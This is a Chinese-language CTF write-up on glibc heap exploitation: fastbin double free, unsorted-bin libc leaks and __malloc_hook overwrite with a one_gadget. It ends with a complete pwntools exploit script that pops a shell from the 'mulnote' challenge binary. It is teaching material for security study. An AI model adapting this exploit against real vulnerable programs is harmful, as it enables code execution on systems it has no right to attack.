前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Heap-DoubleFree之Mulnote

Heap-DoubleFree之Mulnote

作者头像
偏有宸机
发布2020-11-04 10:57:56
8880
发布2020-11-04 10:57:56
举报
文章被收录于专栏:宸机笔记

Double_free 利用原理

在free chunk时,程序将会以单向链表的形式存到fastbin中(也就是fd指针链接下一个bins),当我们连续free一块chunk两次时,他的两个fd指针将会同时指向一个chunk,此时当我们再次使用malloc申请chunk时,根据fastbin中的fd指针的指引,便会获取到上一次free掉的堆块。而由于main_arena检查机制的原因,我们不能连续free掉一块chunk,但是可以是如下形式:

Free A -> Free B -> Free A

这样的话fd的指针将还是指向A这块chunk。

之后的话由于在fastbin中的chunk将会在该chunk数据区的0x10空间的位置上存放fd和bk指针,所以我们可以在连续free两次同一块chunk后,再次申请该地址在数据区的开头存放一个伪造的fd指针。此时还在fastbin中的B堆块的fd指针将会因为链表的原因而指向我们伪造的fd指针,最后在连续申请两次同样大小的chunk后再次申请的地址将是我们伪造的fd指针内的地址,以此达成任意地址写的目的。

但是需要注意一点是:

假如我们要伪造一个chunk,使用任意地址写来将onegadget写到malloc_hook上时,由于malloc对chunk的检查机制如果不加以控制会导致程序异常直接退出,这时则可以通过覆盖掉main_arena-88-0x33->_IO_wide_data_0main_arena-88-0x10->malloc_hook之间的空间,使ong_gadget直接落在malloc_hook上。这样当我们再次使用malloc申请chunk时,便能触发malloc_hook上的one_gadget而不会导致程序异常退出了。

任意地址读

当我们伪造一个fd指针为某个函数的got表地址后,再次malloc申请一个空间就是落在该got表地址上,此时再用程序中应有的打印功能查看接受即可(或者可能要再-0x10才能接收到该地址,因为打印出的内容应该会从chunk中的用户数据区开始读的)、

利用条件

  1. 堆块被free后,next_chunk的pre_inuse位不会被清空
  2. 堆块的大小符合free掉后fastbins的大小

疑难解答

  1. 在第一次malloc填上fd指针后为什么还要再malloc两次之后再次的malloc才能分配到fd指针上的地址 在第一次malloc之后fastbin的指针指向b_chunk,第二次malloc后fd指向a_chunk,第三次后则是a_chunk中的fd指向的也就是我们伪造的chunk,所以再第四次malloc后我们获得的堆块地址就是我们指定的地址了(具体可以使用gdb一步步查看fastbin中指向的地址)
  2. _IO_wide_data_0 的作用,为什么在该地址的指定位置上填充上one_gadget再次malloc后就能拿到shell 可以将_IO_wide_data_0看作是对chunk的一个检查,而_IO_wide_data_0 则距离malloc_hook一般是0x13的距离,所以在这段地址中随便填入数据覆盖掉,之后跟上one_gadget,最后当我们再次malloc时,便会出发这个mallo_hook

Unsorted_bin利用

当free掉的chunk超过0x80大小时,将被放在unsortedbin中,而如果只有一个bin的话,此时的fd和bk指针将指向main_arena+88的位置。也就是说此时如果在申请一个堆块的话,将会被分配至

而利用这个main_arena的地址,我们可以泄露libc基地址,可以计算出malloc_hook_IO_wide_data_0等地址。

如:

main_arena-88=main_arena地址

main_arena-88-0x10=malloc_hook地址d

main_arena-88-0x10-0x13=_IO_wide_data_0地址x

利用条件

  1. 要free的chunk必须要大于0x80
  2. 用户输入的数据没有\x00进行截断

实例: Mul_note

题目分析

checksec后可以看到只有栈保护未开启。也就是说我们无法直接劫持got表

使用IDA打开分析反汇编代码,代码虽然加了混淆,不过在start_routine过程中还是可以看到他是在free后10秒后财经性的指针清零,也就是出现了doublefree的漏洞。

而在malloc时申请的大小则又不能超过0x10000,也就是说我们无法再利用mmap申请大内存来获取libc地址

EXP思路

  1. 虽然无法利用mmap申请大内存来获取libc,不过可以使用unsorted bins来泄露main_arena的地址从而泄露libc
  1. 泄露libc后通过计算得出malloc_hook_IO_wide_data_0one_gadget等地址
  1. 利用Double free来伪造chunk,劫持malloc_hook,再在malloc_hook上写上one_gadget地址,再次malloc时直接拿到shell

EXP

代码语言:javascript
复制
#coding:utf-8
from pwn import *
from one_gadget import generate_one_gadget

context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./mulnote")
elf = ELF("./mulnote")
libc = "/lib/x86_64-linux-gnu/libc.so.6"

def create(size,note):
    sh.recvuntil(">")
    sh.sendline("C")
    sh.recvuntil("size>")
    sh.sendline(size)
    sh.recvuntil("note>")
    sh.send(note)
def edit(idx,note):
    sh.recvuntil(">")
    sh.sendline("E")
    sh.recvuntil("index>")
    sh.sendline(idx)
    sh.recvuntil("new note>")
    sh.sendline(note)
def remove(idx):
    sh.recvuntil(">")
    sh.sendline("R")
    sh.recvuntil("index>")
    sh.sendline(idx)
def show():
    sh.recvuntil(">")
    sh.sendline("S")
def one_gadget(libc_addr):
    path_to_libc=libc_addr
    gadget =[]
    for offset in generate_one_gadget(path_to_libc):
        gadget.append(int(offset))
    return gadget


### 利用unsorted_bin的特性当申请超过0x80的chunk时,将泄露main_arena+0x88的地址
create("128","aaaa")
remove("0")
#gdb.attach(sh)
show()
sh.recvuntil("note[0]:\n")
main_arena = u64(sh.recvuntil("\x7f").ljust(8,"\x00"))
success("main_arna => 0x%x",main_arena)
#gdb.attach(sh)
libc_base = main_arena - 3951480    #main_arena+88 距离libc基地址的偏移
success("main_arna => 0x%x",libc_base)
malloc_hook = main_arena -88-0x10
fake_chunk = main_arena-88-0x33
#必须要从_IO_wide_data_0上开始填充,才可以绕过对chunk的检查,也就是从_IO_wide_data_0填充至malloc_hook的位置
one_gg = one_gadget(libc)[0]+libc_base
success("one_gg => 0x%x",one_gg)

### Double free利用
create("96","aaaa")
create("96","aaaa")
remove("1")
remove("2")
remove("1")

create("96",p64(fake_chunk)) 
create("96",'bbbb') 
create("96","cccc") 
create("96",'d'*19+p64(one_gg))
#_IO_wide_data_0+0x13的位置便是malloc_hook
gdb.attach(sh)
sh.recvuntil(">")
sh.sendline("C")
sh.recvuntil("size>")
sh.sendline("over")
# show()
sh.interactive()

学习参考

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/ https://zhuanlan.zhihu.com/p/64434547 https://xz.aliyun.com/t/6355#toc-13

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-09-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Double_free 利用原理
    • 任意地址读
      • 利用条件
        • 疑难解答
        • Unsorted_bin利用
          • 利用条件
          • 实例: Mul_note
            • 题目分析
              • EXP思路
                • EXP
                • 学习参考
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档